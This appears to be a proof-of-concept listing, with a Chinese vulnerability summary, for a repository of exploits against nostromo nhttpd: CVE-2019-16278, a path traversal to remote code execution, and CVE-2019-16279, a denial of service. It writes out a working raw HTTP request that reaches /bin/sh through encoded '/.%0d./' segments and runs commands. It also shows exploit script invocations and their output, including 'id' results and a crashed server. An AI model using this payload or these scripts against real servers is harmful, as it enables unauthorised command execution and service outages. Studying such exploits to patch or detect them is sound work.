CVE-2019-16278 PoC — nostromo nhttpd 路径遍历漏洞

Source

https://github.com/jas502n/CVE-2019-16278

Associated Vulnerability

Title:nostromo nhttpd 路径遍历漏洞 (CVE-2019-16278)
Description:nostromo nhttpd是一款开源的Web服务器。 nostromo nhttpd 1.9.6及之前版本中的‘http_verify’函数存在路径遍历漏洞。该漏洞源于网络系统或产品未能正确地过滤资源或文件路径中的特殊元素。攻击者可利用该漏洞访问受限目录之外的位置。

Description

Directory transversal to remote code execution

Readme

# Exploits for CVE-2019-16278 and CVE-2019-16279

Nostromo httpd is prone to 2 cricital vulnerabilities for versions <= 1.9.6 (0day =]) first one is an RCE through directory transversal, second one is a DoS

### [CVE-2019-16278](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16278) - Directory transversal to remote code execution
![](./Nostromo.jpg)
![](./CVE-2019-16278.jpg)
![](./CVE-2019-16278.png)
![](./shodan.jpg)

```
POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Length: 25

echo
echo
ifconfig 2>&1
```

This bug is due to an incomplete fix for [CVE-2011-0751](https://nvd.nist.gov/vuln/detail/CVE-2011-0751). We can bypass a check for `/../` which allows us to execute `/bin/sh` with arbitrary arguments.

Example

    $ ./CVE-2019-16278.sh 127.0.0.1 8080 id
	uid=1001(sp0re) gid=1001(sp0re) groups=1001(sp0re)


### [CVE-2019-16279](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16279) - Denial of Service

This bug exploit a memory error when sending too many `\r\n` in a single connexion. 

Example

    $ curl http://127.0.0.1:8080
	HELLO!
    $ ./CVE-2019-16279.sh 127.0.0.1 8080
    $ curl http://127.0.0.1:8080
	curl: (7) Failed to connect to 127.0.0.1 port 8080: Connection refused
	
## 参考链接：

https://git.sp0re.sh/sp0re/Nhttpd-exploits

File Snapshot


 [4.0K]  /data/pocs/d20f2fa5b1087f938f78e2561ebd968280560e9c
├── [405K]  CVE-2019-16278.jpg
├── [649K]  CVE-2019-16278.png
├── [ 292]  CVE-2019-16278.sh
├── [ 346]  CVE-2019-16279.sh
├── [203K]  Nostromo.jpg
├── [1.4K]  README.md
└── [128K]  shodan.jpg

0 directories, 7 files

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